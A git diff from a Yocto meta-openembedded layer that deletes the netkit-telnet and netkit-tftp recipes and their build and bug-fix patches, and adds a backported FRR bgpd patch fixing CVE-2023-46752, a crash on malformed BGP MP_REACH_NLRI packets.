-@@ -68,6 +69,10 @@ command implicitly; see the description below.
- .Pp
- Options:
- .Bl -tag -width indent
-+.It Fl 4
-+Force IPv4 address resolution.
-+.It Fl 6
-+Force IPv6 address resolution.
- .It Fl 8
- Request 8-bit operation. This causes an attempt to negotiate the
- .Dv TELNET BINARY
-@@ -89,6 +94,8 @@ of the
- option if supported by the remote system. The username is retrieved
- via
- .Xr getlogin 3 .
-+.It Fl b Ar address
-+Use bind(2) on the local socket to bind it to a specific local address.
- .It Fl d
- Sets the initial value of the
- .Ic debug
-@@ -474,17 +481,29 @@ protocol without making a mess. Protocol negotiation can be forced by
- placing a dash before the port number.
- .Pp
- After establishing a connection, any commands associated with the
--remote host in the user's
-+remote host in
-+.Pa /etc/telnetrc
-+and the user's
- .Pa .telnetrc
--file are executed.
-+file are executed, in that order.
- .Pp
--The format of the .telnetrc file is as follows: Lines beginning with a
-+The format of the telnetrc files is as follows: Lines beginning with a
- #, and blank lines, are ignored. The rest of the file should consist
- of hostnames and sequences of
- .Nm telnet
- commands to use with that host. Commands should be one per line,
- indented by whitespace; lines beginning without whitespace are
--interpreted as hostnames. Upon connecting to a particular host, the
-+interpreted as hostnames. Lines beginning with the special hostname
-+.Ql DEFAULT
-+will apply to all hosts. Hostnames including
-+.Ql DEFAULT
-+may be followed immediately by a colon and a port number or string.
-+If a port is specified it must match exactly with what is specified
-+on the command line. If no port was specified on the command line,
-+then the value
-+.Ql telnet
-+is used.
-+Upon connecting to a particular host, the
- commands associated with that host are executed.
- .It Ic quit
- Close any open session and exit
-@@ -1184,9 +1203,7 @@ escape sequences are preceded by a '*' to aid in locating them.
- When the skiprc toggle is
- .Dv TRUE ,
- .Tn telnet
--does not read the
--.Pa \&.telnetrc
--file. The initial value for this toggle is
-+does not read the telnetrc files. The initial value for this toggle is
- .Dv FALSE.
- .It Ic termdata
- Toggles the display of all terminal data (in hexadecimal format).
-@@ -1239,7 +1256,9 @@ to the other side via the
- .Dv TELNET ENVIRON
- option.
- .Sh FILES
--.Bl -tag -width ~/.telnetrc -compact
-+.Bl -tag -width /etc/telnetrc -compact
-+.It Pa /etc/telnetrc
-+global telnet startup values
- .It Pa ~/.telnetrc
- user customized telnet startup values
- .El
-diff --git a/telnet/telnet.cc b/telnet/telnet.cc
-index 4fc3b1f..7eca811 100644
---- a/telnet/telnet.cc
-+++ b/telnet/telnet.cc
-@@ -88,7 +88,8 @@ char do_dont_resp[256];
- char will_wont_resp[256];
-
- int
--eight = 0,
-+ eight = 3,
-+ binary = 0,
- autologin = 0, /* Autologin anyone? */
- skiprc = 0,
- connected,
-@@ -639,14 +640,14 @@ static const char *gettermname(void) {
- if (resettermname) {
- resettermname = 0;
- tname = env_getvalue("TERM", 0);
-- if (!tname || my_setupterm(tname, 1, &err)) {
-+ if (!tname /* || my_setupterm(tname, 1, &err) */) {
- termbuf[0] = 0;
- tname = "UNKNOWN";
- }
- mklist(termbuf, tname, termtypes);
- next = 0;
- }
-- if (next==termtypes.num()) next = 0;
-+ if (next==termtypes.num()-1) next = 0;
- return termtypes[next++];
- }
- /*
-@@ -681,7 +682,7 @@ static void suboption(void) {
- }
- #endif /* TN3270 */
- name = gettermname();
-- netoring.printf("%c%c%c%c%s%c%c", IAC, SB, TELOPT_TTYPE,
-+ netoring.xprintf("%c%c%c%c%s%c%c", IAC, SB, TELOPT_TTYPE,
- TELQUAL_IS, name, IAC, SE);
- }
- break;
-@@ -693,7 +694,7 @@ static void suboption(void) {
- if (SB_GET() == TELQUAL_SEND) {
- long oospeed, iispeed;
- TerminalSpeeds(&iispeed, &oospeed);
-- netoring.printf("%c%c%c%c%ld,%ld%c%c", IAC, SB, TELOPT_TSPEED,
-+ netoring.xprintf("%c%c%c%c%ld,%ld%c%c", IAC, SB, TELOPT_TSPEED,
- TELQUAL_IS, oospeed, iispeed, IAC, SE);
- }
- break;
-@@ -780,7 +781,7 @@ static void suboption(void) {
- send_wont(TELOPT_XDISPLOC, 1);
- break;
- }
-- netoring.printf("%c%c%c%c%s%c%c", IAC, SB, TELOPT_XDISPLOC,
-+ netoring.xprintf("%c%c%c%c%s%c%c", IAC, SB, TELOPT_XDISPLOC,
- TELQUAL_IS, dp, IAC, SE);
- }
- break;
-@@ -798,7 +799,7 @@ void lm_will(unsigned char *cmd, int len) {
- return;
- }
-
-- netoring.printf("%c%c%c%c%c%c%c", IAC, SB, TELOPT_LINEMODE,
-+ netoring.xprintf("%c%c%c%c%c%c%c", IAC, SB, TELOPT_LINEMODE,
- DONT, cmd[0], IAC, SE);
- }
-
-@@ -815,7 +816,7 @@ void lm_do(unsigned char *cmd, int len) {
- /*@*/ printf("lm_do: no command!!!\n"); /* Should not happen... */
- return;
- }
-- netoring.printf("%c%c%c%c%c%c%c", IAC, SB, TELOPT_LINEMODE,
-+ netoring.xprintf("%c%c%c%c%c%c%c", IAC, SB, TELOPT_LINEMODE,
- WONT, cmd[0], IAC, SE);
- }
-
-@@ -838,7 +839,7 @@ void lm_mode(unsigned char *cmd, int len, int init) {
- k |= MODE_ACK;
- }
-
-- netoring.printf("%c%c%c%c%c%c%c", IAC, SB, TELOPT_LINEMODE, LM_MODE,
-+ netoring.xprintf("%c%c%c%c%c%c%c", IAC, SB, TELOPT_LINEMODE, LM_MODE,
- k, IAC, SE);
-
- setconnmode(0); /* set changed mode */
-@@ -933,11 +934,11 @@ void slc_mode_import(int def) {
-
- void slc_import(int def) {
- if (def) {
-- netoring.printf("%c%c%c%c%c%c%c%c%c", IAC, SB, TELOPT_LINEMODE,
-+ netoring.xprintf("%c%c%c%c%c%c%c%c%c", IAC, SB, TELOPT_LINEMODE,
- LM_SLC, 0, SLC_DEFAULT, 0, IAC, SE);
- }
- else {
-- netoring.printf("%c%c%c%c%c%c%c%c%c", IAC, SB, TELOPT_LINEMODE,
-+ netoring.xprintf("%c%c%c%c%c%c%c%c%c", IAC, SB, TELOPT_LINEMODE,
- LM_SLC, 0, SLC_VARIABLE, 0, IAC, SE);
- }
- }
-@@ -1050,6 +1051,7 @@ void slc_check(void) {
-
-
- unsigned char slc_reply[128];
-+unsigned char const * const slc_reply_eom = &slc_reply[sizeof(slc_reply)];
- unsigned char *slc_replyp;
-
- void slc_start_reply(void) {
-@@ -1061,6 +1063,14 @@ void slc_start_reply(void) {
- }
-
- void slc_add_reply(int func, int flags, int value) {
-+ /* A sequence of up to 6 bytes my be written for this member of the SLC
-+ * suboption list by this function. The end of negotiation command,
-+ * which is written by slc_end_reply(), will require 2 additional
-+ * bytes. Do not proceed unless there is sufficient space for these
-+ * items.
-+ */
-+ if (&slc_replyp[6+2] > slc_reply_eom)
-+ return;
- if ((*slc_replyp++ = func) == IAC)
- *slc_replyp++ = IAC;
- if ((*slc_replyp++ = flags) == IAC)
-@@ -1142,6 +1152,7 @@ void env_opt(unsigned char *buf, int len) {
- }
- }
-
-+/* OPT_REPLY_SIZE must be a multiple of 2. */
- #define OPT_REPLY_SIZE 256
- unsigned char *opt_reply;
- unsigned char *opt_replyp;
-@@ -1173,6 +1184,7 @@ void env_opt_start_info(void) {
-
- void env_opt_add(const char *ep) {
- const char *vp;
-+ const unsigned char *tp;
- unsigned char c;
-
- if (opt_reply == NULL) /*XXX*/
-@@ -1185,11 +1197,12 @@ void env_opt_add(const char *ep) {
- return;
- }
- vp = env_getvalue(ep, 1);
-- if (opt_replyp + (vp ? strlen(vp) : 0) + strlen(ep) + 6 > opt_replyend)
-+ tp = opt_replyp + (vp ? strlen(vp) * 2 : 0) + strlen(ep) * 2 + 6;
-+ if (tp > opt_replyend)
- {
- register int len;
-- opt_replyend += OPT_REPLY_SIZE;
-- len = opt_replyend - opt_reply;
-+ len = ((tp - opt_reply) + OPT_REPLY_SIZE - 1) & ~(OPT_REPLY_SIZE - 1);
-+ opt_replyend = opt_reply + len;
- opt_reply = (unsigned char *)realloc(opt_reply, len);
- if (opt_reply == NULL) {
- /*@*/ printf("env_opt_add: realloc() failed!!!\n");
-@@ -1740,8 +1753,8 @@ void telnet(const char * /*user*/) {
- send_do(TELOPT_STATUS, 1);
- if (env_getvalue("DISPLAY", 0))
- send_will(TELOPT_XDISPLOC, 1);
-- if (eight)
-- tel_enter_binary(eight);
-+ if (binary)
-+ tel_enter_binary(binary);
- }
- #endif /* !defined(TN3270) */
-
-diff --git a/telnet/terminal.cc b/telnet/terminal.cc
-index 9eb47ae..764f18f 100644
---- a/telnet/terminal.cc
-+++ b/telnet/terminal.cc
-@@ -45,6 +45,8 @@ char terminal_rcsid[] =
- #include <signal.h>
- #include <errno.h>
- #include <stdio.h>
-+#include <string.h>
-+#include <stdlib.h>
-
- #include "ring.h"
- #include "defines.h"
-@@ -155,9 +157,11 @@ int getconnmode(void) {
- if (localflow)
- mode |= MODE_FLOW;
-
-- if (my_want_state_is_will(TELOPT_BINARY))
-+ if ((eight & 1) || my_want_state_is_will(TELOPT_BINARY))
- mode |= MODE_INBIN;
-
-+ if (eight & 2)
-+ mode |= MODE_OUT8;
- if (his_want_state_is_will(TELOPT_BINARY))
- mode |= MODE_OUTBIN;
-
-@@ -449,10 +453,13 @@ void TerminalNewMode(int f)
- // breaks SunOS.
- tmp_tc.c_iflag |= ISTRIP;
- }
-- if (f & MODE_OUTBIN) {
-+ if (f & (MODE_OUTBIN|MODE_OUT8)) {
- tmp_tc.c_cflag &= ~(CSIZE|PARENB);
- tmp_tc.c_cflag |= CS8;
-- tmp_tc.c_oflag &= ~OPOST;
-+ if (f & MODE_OUTBIN)
-+ tmp_tc.c_oflag &= ~OPOST;
-+ else
-+ tmp_tc.c_oflag |= OPOST;
- } else {
- tmp_tc.c_cflag &= ~(CSIZE|PARENB);
- tmp_tc.c_cflag |= old_tc.c_cflag & (CSIZE|PARENB);
-@@ -468,7 +475,7 @@ void TerminalNewMode(int f)
-
- #ifdef SIGINFO
- signal(SIGINFO, ayt);
--#endif SIGINFO
-+#endif /* SIGINFO */
-
- #if defined(NOKERNINFO)
- tmp_tc.c_lflag |= NOKERNINFO;
-@@ -504,7 +511,7 @@ void TerminalNewMode(int f)
-
- #ifdef SIGINFO
- signal(SIGINFO, ayt_status);
--#endif SIGINFO
-+#endif /* SIGINFO */
-
- #ifdef SIGTSTP
- signal(SIGTSTP, SIG_DFL);
-diff --git a/telnet/utilities.cc b/telnet/utilities.cc
-index 0448f0a..66839ab 100644
---- a/telnet/utilities.cc
-+++ b/telnet/utilities.cc
-@@ -47,6 +47,8 @@ char util_rcsid[] =
- #include <sys/socket.h>
- #include <unistd.h>
- #include <ctype.h>
-+#include <string.h>
-+#include <stdlib.h>
-
- #include "ring.h"
- #include "defines.h"
---
-1.8.4.2
-
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/Warning-fix-in-the-step-of-install.patch b/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/Warning-fix-in-the-step-of-install.patch
deleted file mode 100644
index 9ac75439da..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/Warning-fix-in-the-step-of-install.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-From 31362e4c0d02b4a2b952ad0dd32acfb573c442f3 Mon Sep 17 00:00:00 2001
-From: Li xin <lixin.fnst@cn.fujitsu.com>
-Date: Fri, 28 Nov 2014 07:17:40 +0900
-Subject: [PATCH 2/2] WARNING Fix and modify "CFLAGS"
-
-WARNING: QA Issue: File '/usr/sbin/in.telnetd' from netkit-telnet was
-already stripped, this will prevent future debugging! [already-stripped]
-
-Upstream-Status: Pending
-
-Signed-off-by: Li Xin <lixin.fnst@cn.fujitsu.com>
----
- telnetd/Makefile | 5 +++--
- 1 file changed, 3 insertions(+), 2 deletions(-)
-
-diff --git a/telnetd/Makefile b/telnetd/Makefile
-index 72650b4..a4cf9fa 100644
---- a/telnetd/Makefile
-+++ b/telnetd/Makefile
-@@ -9,7 +9,8 @@ include ../MRULES
- # take out -DPARANOID_TTYS.
-
- CFLAGS += '-DISSUE_FILE="/etc/issue.net"' -DPARANOID_TTYS \
-- -DNO_REVOKE -DKLUDGELINEMODE -DDIAGNOSTICS
-+ -DNO_REVOKE -DKLUDGELINEMODE -DDIAGNOSTICS \
-+ -DLOGIN_WRAPPER=\"/${libdir}/telnetlogin\"
- # LIBS += $(LIBTERMCAP)
-
- OBJS = telnetd.o state.o termstat.o slc.o sys_term.o utility.o \
-@@ -27,7 +28,7 @@ $(OBJS): defs.h ext.h pathnames.h telnetd.h logwtmp.h logout.h setproctitle.h
- telnetd.o: ../version.h
-
- install: telnetd
-- install -s -m$(DAEMONMODE) telnetd $(INSTALLROOT)$(SBINDIR)/in.telnetd
-+ install -m$(DAEMONMODE) telnetd $(INSTALLROOT)$(SBINDIR)/in.telnetd
- install -m$(MANMODE) issue.net.5 $(INSTALLROOT)$(MANDIR)/man5/
- install -m$(MANMODE) telnetd.8 $(INSTALLROOT)$(MANDIR)/man8/in.telnetd.8
- ln -sf in.telnetd.8 $(INSTALLROOT)$(MANDIR)/man8/telnetd.8
---
-1.8.4.2
-
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/cross-compile.patch b/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/cross-compile.patch
deleted file mode 100644
index b3fe36b7bb..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/cross-compile.patch
+++ /dev/null
@@ -1,48 +0,0 @@
-To support the cross-compile
-
-Upstream-Status: Pending
-
-make the configure to support the cross-compile, by only to compile the
-target, and not to run it
-
-Roy Li <rongqing.li@windriver.com>
-Index: netkit-telnet-0.17/configure
-===================================================================
---- netkit-telnet-0.17.orig/configure 2008-11-23 22:01:26.000000000 +0100
-+++ netkit-telnet-0.17/configure 2008-11-23 22:05:00.000000000 +0100
-@@ -94,7 +94,7 @@
- echo -n 'Checking if C compiler works... '
- if (
- $CC __conftest.c -o __conftest || exit 1
-- ./__conftest || exit 1
-+ # Idiots belong shot! ./__conftest || exit 1
- ) >/dev/null 2>&1; then
- echo 'yes'
- else
-@@ -141,7 +141,7 @@
- echo -n 'Checking if C++ compiler works... '
- if (
- $CXX __conftest.cc -o __conftest || exit 1
-- ./__conftest || exit 1
-+ # Iditios belong shot! ./__conftest || exit 1
- ) >/dev/null 2>&1; then
- echo 'yes'
- else
-@@ -284,7 +284,7 @@
- else
- if (
- $CXX $CXXFLAGS -D__USE_BSD_SIGNAL __conftest.cc -o __conftest || exit 1
-- ./__conftest || exit 1
-+ # running still does not work./__conftest || exit 1
- ) >/dev/null 2>&1; then
- echo '-D__USE_BSD_SIGNAL'
- CFLAGS="$CFLAGS -D__USE_BSD_SIGNAL"
-@@ -501,7 +501,7 @@
- EOF
- if (
- $CXX $CXXFLAGS __conftest.cc $LIBBSD -o __conftest || exit 1
-- ./__conftest || exit 1
-+ # argh! morons!./__conftest || exit 1
- ) >/dev/null 2>&1; then
- echo 'ok'
- else
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/telnet-xinetd b/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/telnet-xinetd
deleted file mode 100644
index 12204c71b2..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/files/telnet-xinetd
+++ /dev/null
@@ -1,14 +0,0 @@
-# default: on
-# description: The telnet server serves telnet sessions; it uses \
-# unencrypted username/password pairs for authentication.
-service telnet
-{
- flags = REUSE
- socket_type = stream
- wait = no
- user = root
- server = /usr/sbin/in.telnetd
- log_on_failure += USERID
- disable = yes
-}
-
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/netkit-telnet_0.17.bb b/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/netkit-telnet_0.17.bb
deleted file mode 100644
index d3de038d16..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-telnet/netkit-telnet_0.17.bb
+++ /dev/null
@@ -1,74 +0,0 @@
-DESCRIPTION = "netkit-telnet includes the telnet daemon and client."
-HOMEPAGE = "http://www.hcs.harvard.edu/~dholland/computers/netkit.html"
-SECTION = "net"
-DEPENDS = "ncurses"
-LICENSE = "BSD-4-Clause"
-LIC_FILES_CHKSUM = "file://telnet/telnet.cc;beginline=2;endline=3;md5=780868e7b566313e70cb701560ca95ef"
-
-SRC_URI = "${DEBIAN_MIRROR}/main/n/netkit-telnet/netkit-telnet_${PV}.orig.tar.gz \
- file://To-aviod-buffer-overflow-in-telnet.patch \
- file://Warning-fix-in-the-step-of-install.patch \
- file://telnet-xinetd \
- file://cross-compile.patch \
- file://0001-telnet-telnetd-Fix-print-format-strings.patch \
- file://0001-telnet-telnetd-Fix-deadlock-on-cleanup.patch \
- file://CVE-2020-10188.patch \
- file://0001-telnetd-utility.c-Fix-buffer-overflow-in-netoprintf.patch \
- file://0001-utility-Include-time.h-form-time-and-strftime-protot.patch \
- file://0001-Drop-using-register-keyword.patch \
- file://CVE-2022-39028.patch \
- "
-
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/n/netkit-telnet/"
-UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.orig\.tar"
-
-EXTRA_OEMAKE = "INSTALLROOT=${D} SBINDIR=${sbindir} DAEMONMODE=755 \
- MANMODE=644 MANDIR=${mandir}"
-
-do_configure () {
- ./configure --prefix=${prefix}
- sed -e 's#^CFLAGS=\(.*\)$#CFLAGS= -D_GNU_SOURCE \1#' \
- -e 's#^CXXFLAGS=\(.*\)$#CXXFLAGS= -D_GNU_SOURCE \1#' \
- -e 's#^LDFLAGS=.*$#LDFLAGS= ${LDFLAGS}#' \
- -i MCONFIG
-}
-
-do_compile () {
- oe_runmake 'CC=${CC}' 'LD=${LD}' 'LDFLAGS=${LDFLAGS}' SUB=telnet
- oe_runmake 'CC=${CC}' 'LD=${LD}' 'LDFLAGS=${LDFLAGS}' LIBS=-lutil SUB=telnetd
- oe_runmake 'CC=${CC}' 'LD=${LD}' 'LDFLAGS=${LDFLAGS}' SUB=telnetlogin
-}
-
-do_install () {
- install -d ${D}${bindir}
- install -m 0755 telnet/telnet ${D}${bindir}/telnet.${PN}
- install -d ${D}${sbindir}
- install -d ${D}${mandir}/man1
- install -d ${D}${mandir}/man5
- install -d ${D}${mandir}/man8
- oe_runmake SUB=telnetd install
- rm -rf ${D}${mandir}/man1
- install -D -m 4750 ${B}/telnetlogin/telnetlogin ${D}/${libdir}/telnetlogin
- # fix up hardcoded paths
- sed -i -e 's,/usr/sbin/,${sbindir}/,' ${WORKDIR}/telnet-xinetd
- install -d ${D}/etc/xinetd.d/
- install -p -m644 ${WORKDIR}/telnet-xinetd ${D}/etc/xinetd.d/telnet
-}
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE:${PN} = "telnet"
-ALTERNATIVE_LINK_NAME[telnet] = "${bindir}/telnet"
-ALTERNATIVE_TARGET[telnet] = "${bindir}/telnet.${PN}"
-
-ALTERNATIVE:${PN}-doc = "telnetd.8"
-ALTERNATIVE_LINK_NAME[telnetd.8] = "${mandir}/man8/telnetd.8"
-
-SRC_URI[md5sum] = "d6beabaaf53fe6e382c42ce3faa05a36"
-SRC_URI[sha256sum] = "9c80d5c7838361a328fb6b60016d503def9ce53ad3c589f3b08ff71a2bb88e00"
-FILES:${PN} += "${sbindir}/in.* ${libdir}/* ${sysconfdir}/xinetd.d/*"
-
-# http://errors.yoctoproject.org/Errors/Details/186954/
-COMPATIBLE_HOST:libc-musl = 'null'
-RCONFLICTS:${PN} = "inetutils-telnetd"
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-tftp/netkit-tftp/0001-tftp-Include-missing-fcntl.h.patch b/meta-openembedded/meta-networking/recipes-netkit/netkit-tftp/netkit-tftp/0001-tftp-Include-missing-fcntl.h.patch
deleted file mode 100644
index 78936907f6..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-tftp/netkit-tftp/0001-tftp-Include-missing-fcntl.h.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-From fa57e161fc953264a75d50a787cb83983e60acc7 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 30 Aug 2017 18:30:02 -0700
-Subject: [PATCH] tftp: Include missing fcntl.h
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- tftp/main.c | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/tftp/main.c b/tftp/main.c
-index 8c54843..5c9b698 100644
---- a/tftp/main.c
-+++ b/tftp/main.c
-@@ -63,6 +63,7 @@ char main_rcsid[] =
- #include <ctype.h>
- #include <netdb.h>
- #include <unistd.h>
-+#include <fcntl.h>
-
- #include "tftpsubs.h" /* for mysignal() */
-
---
-2.14.1
-
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-tftp/netkit-tftp/tftp.conf b/meta-openembedded/meta-networking/recipes-netkit/netkit-tftp/netkit-tftp/tftp.conf
deleted file mode 100644
index 7bc6ca96b6..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-tftp/netkit-tftp/tftp.conf
+++ /dev/null
@@ -1,11 +0,0 @@
-service tftp
-{
- disable = no
- socket_type = dgram
- port = 69
- protocol = udp
- wait = yes
- user = nobody
- server = /usr/sbin/in.tftpd
- server_args = /tftpboot
-}
diff --git a/meta-openembedded/meta-networking/recipes-netkit/netkit-tftp/netkit-tftp_0.17.bb b/meta-openembedded/meta-networking/recipes-netkit/netkit-tftp/netkit-tftp_0.17.bb
deleted file mode 100644
index 8de3e4a34c..0000000000
--- a/meta-openembedded/meta-networking/recipes-netkit/netkit-tftp/netkit-tftp_0.17.bb
+++ /dev/null
@@ -1,59 +0,0 @@
-SUMMARY = "tftp - Trivial file transfer protocol client"
-SECTION = "net"
-LICENSE = "BSD-4-Clause"
-DEPENDS = "tcp-wrappers"
-
-LIC_FILES_CHKSUM = "file://tftp/tftp.c;beginline=2;endline=3;md5=84d2cfe1e60863a7d82648734ba4d30c"
-
-SRC_URI = "${DEBIAN_MIRROR}/main/n/${BPN}/${BPN}_${PV}.orig.tar.gz;name=archive \
- ${DEBIAN_MIRROR}/main/n/${BPN}/${BPN}_${PV}-18.diff.gz;name=patch18 \
- file://tftp.conf \
- file://0001-tftp-Include-missing-fcntl.h.patch \
- "
-
-SRC_URI[archive.md5sum] = "b7262c798e2ff50e29c2ff50dfd8d6a8"
-SRC_URI[archive.sha256sum] = "3a43c0010d4e61f412563fd83769d4667d8b8e82903526d21cb9205fe55ad14d"
-SRC_URI[patch18.md5sum] = "cb29e7a33dd85105ba6e6ec4f971e42c"
-SRC_URI[patch18.sha256sum] = "092437d27b4fa88c044ef6290372fee5ce06d223607f0e22a6e527065c8930e7"
-
-inherit autotools-brokensep update-alternatives
-
-do_configure () {
- ./configure --prefix=${prefix}
- echo "CFLAGS=${CFLAGS}" > MCONFIG
-}
-
-do_compile () {
- oe_runmake 'CC=${CC}' 'LD=${LD}' 'LDFLAGS=${LDFLAGS}' 'CFLAGS=${CFLAGS}'
-}
-
-do_install () {
- install -d ${D}${bindir}
- install -d ${D}${sbindir}
- install -d ${D}${mandir}/man1
- install -d ${D}${mandir}/man8
- install -d ${D}${sysconfdir}/xinetd.d
-
- sed -i 's/install -s/install/' tftp/Makefile
- sed -i 's/install -s/install/' tftpd/Makefile
-
- oe_runmake 'INSTALLROOT=${D}' 'BINMODE=0755' \
- 'DAEMONMODE=0755' 'MANMODE=0644' \
- 'BINDIR=${bindir}' 'SBINDIR=${sbindir}' \
- 'MANDIR=${mandir}' install
-
- install ${WORKDIR}/tftp.conf ${D}/${sysconfdir}/xinetd.d/tftp
-}
-
-PACKAGES = "${PN}-client ${PN}-server ${PN}-doc ${BPN}-dbg"
-FILES:${PN}-client = "${bindir}/*"
-FILES:${PN}-server = "${sbindir}/* ${sysconfdir}/xinetd.d/*"
-FILES:${PN}-doc = "${mandir}"
-FILES:${PN}-dbg = "${prefix}/src/debug \
- ${bindir}/.debug ${sbindir}/.debug"
-
-RDEPENDS:${PN}-server = "tcp-wrappers xinetd"
-
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE:${PN}-client = "tftp"
-ALTERNATIVE_LINK_NAME[tftp] = "${bindir}/tftp"
diff --git a/meta-openembedded/meta-networking/recipes-protocols/frr/frr/CVE-2023-46752.patch b/meta-openembedded/meta-networking/recipes-protocols/frr/frr/CVE-2023-46752.patch
new file mode 100644
index 0000000000..e1f30248ca
--- /dev/null
+++ b/meta-openembedded/meta-networking/recipes-protocols/frr/frr/CVE-2023-46752.patch
@@ -0,0 +1,125 @@
+From b08afc81c60607a4f736f418f2e3eb06087f1a35 Mon Sep 17 00:00:00 2001
+From: Donatas Abraitis <donatas@opensourcerouting.org>
+Date: Fri, 20 Oct 2023 17:49:18 +0300
+Subject: [PATCH] bgpd: Handle MP_REACH_NLRI malformed packets with session
+ reset
+
+Avoid crashing bgpd.
+
+```
+(gdb)
+bgp_mp_reach_parse (args=<optimized out>, mp_update=0x7fffffffe140) at bgpd/bgp_attr.c:2341
+2341 stream_get(&attr->mp_nexthop_global, s, IPV6_MAX_BYTELEN);
+(gdb)
+stream_get (dst=0x7fffffffe1ac, s=0x7ffff0006e80, size=16) at lib/stream.c:320
+320 {
+(gdb)
+321 STREAM_VERIFY_SANE(s);
+(gdb)
+323 if (STREAM_READABLE(s) < size) {
+(gdb)
+34 return __builtin___memcpy_chk (__dest, __src, __len, __bos0 (__dest));
+(gdb)
+
+Thread 1 "bgpd" received signal SIGSEGV, Segmentation fault.
+0x00005555556e37be in route_set_aspath_prepend (rule=0x555555aac0d0, prefix=0x7fffffffe050,
+ object=0x7fffffffdb00) at bgpd/bgp_routemap.c:2282
+2282 if (path->attr->aspath->refcnt)
+(gdb)
+```
+
+With the configuration:
+
+```
+ neighbor 127.0.0.1 remote-as external
+ neighbor 127.0.0.1 passive
+ neighbor 127.0.0.1 ebgp-multihop
+ neighbor 127.0.0.1 disable-connected-check
+ neighbor 127.0.0.1 update-source 127.0.0.2
+ neighbor 127.0.0.1 timers 3 90
+ neighbor 127.0.0.1 timers connect 1
+ address-family ipv4 unicast
+ redistribute connected
+ neighbor 127.0.0.1 default-originate
+ neighbor 127.0.0.1 route-map RM_IN in
+ exit-address-family
+!
+route-map RM_IN permit 10
+ set as-path prepend 200
+exit
+```
+
+Reported-by: Iggy Frankovic <iggyfran@amazon.com>
+Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
+Upstream-Status: Backport [https://github.com/FRRouting/frr/commit/b08afc81c60607a4f736f418f2e3eb06087f1a35]
+CVE: CVE-2023-46752
+Signed-off-by: Jonas Gorski <jonas.gorski@bisdn.de>
+---
+ bgpd/bgp_attr.c | 6 +-----
+ bgpd/bgp_attr.h | 1 -
+ bgpd/bgp_packet.c | 6 +-----
+ 3 files changed, 2 insertions(+), 11 deletions(-)
+
+diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
+index 6925aff727e2..e7bb42a5d989 100644
+--- a/bgpd/bgp_attr.c
++++ b/bgpd/bgp_attr.c
+@@ -2421,7 +2421,7 @@ int bgp_mp_reach_parse(struct bgp_attr_parser_args *args,
+
+ mp_update->afi = afi;
+ mp_update->safi = safi;
+- return BGP_ATTR_PARSE_EOR;
++ return bgp_attr_malformed(args, BGP_NOTIFY_UPDATE_MAL_ATTR, 0);
+ }
+
+ mp_update->afi = afi;
+@@ -3759,10 +3759,6 @@ enum bgp_attr_parse_ret bgp_attr_parse(struct peer *peer, struct attr *attr,
+ goto done;
+ }
+
+- if (ret == BGP_ATTR_PARSE_EOR) {
+- goto done;
+- }
+-
+ if (ret == BGP_ATTR_PARSE_ERROR) {
+ flog_warn(EC_BGP_ATTRIBUTE_PARSE_ERROR,
+ "%s: Attribute %s, parse error", peer->host,
+diff --git a/bgpd/bgp_attr.h b/bgpd/bgp_attr.h
+index 961e5f122470..fc347e7a1b4b 100644
+--- a/bgpd/bgp_attr.h
++++ b/bgpd/bgp_attr.h
+@@ -364,7 +364,6 @@ enum bgp_attr_parse_ret {
+ /* only used internally, send notify + convert to BGP_ATTR_PARSE_ERROR
+ */
+ BGP_ATTR_PARSE_ERROR_NOTIFYPLS = -3,
+- BGP_ATTR_PARSE_EOR = -4,
+ };
+
+ struct bpacket_attr_vec_arr;
+diff --git a/bgpd/bgp_packet.c b/bgpd/bgp_packet.c
+index b585591e2f69..5ecf343b6657 100644
+--- a/bgpd/bgp_packet.c
++++ b/bgpd/bgp_packet.c
+@@ -2397,8 +2397,7 @@ static int bgp_update_receive(struct peer_connection *connection,
+ * Non-MP IPv4/Unicast EoR is a completely empty UPDATE
+ * and MP EoR should have only an empty MP_UNREACH
+ */
+- if ((!update_len && !withdraw_len && nlris[NLRI_MP_UPDATE].length == 0)
+- || (attr_parse_ret == BGP_ATTR_PARSE_EOR)) {
++ if (!update_len && !withdraw_len && nlris[NLRI_MP_UPDATE].length == 0) {
+ afi_t afi = 0;
+ safi_t safi;
+ struct graceful_restart_info *gr_info;
+@@ -2419,9 +2418,6 @@ static int bgp_update_receive(struct peer_connection *connection,
+ && nlris[NLRI_MP_WITHDRAW].length == 0) {
+ afi = nlris[NLRI_MP_WITHDRAW].afi;
+ safi = nlris[NLRI_MP_WITHDRAW].safi;
+- } else if (attr_parse_ret == BGP_ATTR_PARSE_EOR) {
+- afi = nlris[NLRI_MP_UPDATE].afi;
+- safi = nlris[NLRI_MP_UPDATE].safi;
+ }
+
+ if (afi && peer->afc[afi][safi]) {
+--
+2.42.1
+
